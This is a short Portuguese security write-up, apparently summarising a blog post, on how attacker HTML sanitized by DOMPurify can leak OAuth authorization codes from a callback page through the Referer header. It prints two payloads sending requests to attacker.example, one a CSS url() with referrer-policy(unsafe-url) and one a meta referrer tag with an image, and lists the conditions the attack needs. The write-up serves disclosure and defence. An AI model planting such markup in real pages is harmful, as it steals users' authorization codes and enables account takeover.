Vazamento de código OAuth através de CSS preservado pelo DOMPurify

Após o login, um provedor OAuth redireciona o usuário para uma URL como /callback?code=.... Se essa página renderizar HTML controlado pelo atacante após sanitizá-lo com DOMPurify, os scripts são removidos, mas o CSS inline pode permanecer. Esse CSS pode vazar o código de autorização sem executar JavaScript.

• Modificador de requisição CSS — O Chrome 150 adicionou referrer-policy() ao url() do CSS. Um atacante pode injetar <div style="background-image:url('https://attacker.example/x' referrer-policy(unsafe-url))"></div>. O navegador solicita a imagem e inclui o caminho de callback e a string de consulta, incluindo code, no cabeçalho Referer. O DOMPurify preserva o payload porque mantém o atributo style e não sanitiza o CSS dentro dele.

• Efeito colateral do DOMParser — A segunda técnica usou <meta name="referrer" content="unsafe-url"><img src="https://attacker.example/log">. Em builds do Chromium afetados, o navegador aplicou a política do <meta> durante a análise do HTML, antes que o DOMPurify removesse a tag. A imagem restante então disparou uma requisição cujo Referer continha o caminho de callback, a string de consulta e o código OAuth. Esse bug é rastreado como CVE-2026-79185 e foi corrigido.

O ataque exige que a aplicação renderize dados controlados pelo atacante na página de callback, que o DOMPurify preserve style, que a CSP permita uma requisição de recurso externo e que o código OAuth permaneça no caminho ou na string de consulta. Segredos colocados após # nunca são enviados no Referer. Os pesquisadores demonstraram o mecanismo de vazamento, mas não um ataque ponta a ponta contra um provedor OAuth nomeado.

Artigo: https://blog.voorivex.team/oauth-token-theft-after-dompurify-two-chromium-techniques